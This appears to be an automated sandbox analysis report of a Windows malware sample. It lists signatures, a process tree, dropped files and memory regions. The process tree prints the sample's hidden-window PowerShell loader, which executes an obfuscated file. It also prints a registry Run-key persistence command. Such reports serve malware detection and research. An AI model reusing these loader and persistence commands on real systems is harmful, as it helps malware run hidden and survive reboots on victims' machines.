Analysis
- max time kernel
69s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
22/04/2024, 14:17
General
- Target 04172024121853atr reteks.exe
- Size 1.1MB
- Sample240422-rl2mcace2z
- SHA256 b9d1e862b5f864aab90e418632cf973132a4b4cbe4044b1fb997d9dfbd7ad0f4
Malware Config
Signatures
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Program Files directory 1 IoCs
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\04172024121853atr reteks.exe"C:\Users\Admin\AppData\Local\Temp\04172024121853atr reteks.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Bissede=Get-Content 'C:\Users\Admin\AppData\Local\nervier\Estampede\sipunculacean\Michelines.All';$Flumes35=$Bissede.SubString(58005,3);.$Flumes35($Bissede)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hakkers" /t REG_EXPAND_SZ /d "%Philocaly% -windowstyle minimized $Atomlres=(Get-ItemProperty -Path 'HKCU:\Mayst\').Fordjelsesbesvrets;%Philocaly% ($Atomlres)"4⤵
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C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hakkers" /t REG_EXPAND_SZ /d "%Philocaly% -windowstyle minimized $Atomlres=(Get-ItemProperty -Path 'HKCU:\Mayst\').Fordjelsesbesvrets;%Philocaly% ($Atomlres)"5⤵
- Modifies registry key
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 9244⤵
- Program crash
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3736 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:81⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3396 -ip 33961⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=fallback-handler --database="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --exception-pointers=43843028697280 --process=280 /prefetch:7 --thread=32641⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_h3rwb42r.zbo.ps1
Indskrnkningens.Meg
Michelines.All
memory/1408-38-0x0000000007CC0000-0x0000000008264000-memory.dmp
memory/1408-45-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1408-19-0x00000000055A0000-0x00000000055C2000-memory.dmp
memory/1408-20-0x0000000005FB0000-0x0000000006016000-memory.dmp
memory/1408-17-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1408-26-0x0000000006020000-0x0000000006086000-memory.dmp
memory/1408-31-0x0000000006090000-0x00000000063E4000-memory.dmp
memory/1408-32-0x00000000066A0000-0x00000000066BE000-memory.dmp
memory/1408-33-0x0000000006C40000-0x0000000006C8C000-memory.dmp
memory/1408-34-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1408-35-0x0000000007670000-0x0000000007706000-memory.dmp
memory/1408-36-0x0000000006B60000-0x0000000006B7A000-memory.dmp
memory/1408-37-0x0000000006BD0000-0x0000000006BF2000-memory.dmp
memory/1408-14-0x0000000075000000-0x00000000757B0000-memory.dmp
memory/1408-18-0x0000000005880000-0x0000000005EA8000-memory.dmp
memory/1408-16-0x00000000050B0000-0x00000000050E6000-memory.dmp
memory/1408-48-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1408-15-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1408-43-0x0000000007BB0000-0x0000000007BB4000-memory.dmp
memory/1408-44-0x0000000075000000-0x00000000757B0000-memory.dmp
memory/1408-40-0x00000000088F0000-0x0000000008F6A000-memory.dmp
memory/1408-47-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1408-41-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1408-49-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1408-50-0x0000000008F70000-0x000000000BCC6000-memory.dmp
memory/1408-51-0x0000000008F70000-0x000000000BCC6000-memory.dmp
memory/1408-52-0x00000000779A1000-0x0000000077AC1000-memory.dmp
memory/1408-70-0x0000000008F70000-0x000000000BCC6000-memory.dmp
memory/1408-54-0x0000000008F70000-0x000000000BCC6000-memory.dmp
memory/1408-67-0x0000000075000000-0x00000000757B0000-memory.dmp
memory/3396-65-0x00000000779A1000-0x0000000077AC1000-memory.dmp
memory/3396-80-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-63-0x0000000001A60000-0x00000000047B6000-memory.dmp
memory/3396-66-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-55-0x0000000077A28000-0x0000000077A29000-memory.dmp
memory/3396-68-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-69-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-71-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-53-0x0000000001A60000-0x00000000047B6000-memory.dmp
memory/3396-72-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-73-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-74-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-75-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-76-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-77-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-78-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-79-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-56-0x00000000779A1000-0x0000000077AC1000-memory.dmp
memory/3396-81-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-84-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-85-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-86-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-87-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-88-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-89-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-90-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-91-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-92-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-93-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-94-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-96-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-97-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-98-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-99-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-100-0x0000000000800000-0x0000000001A54000-memory.dmp
memory/3396-101-0x0000000000800000-0x0000000001A54000-memory.dmp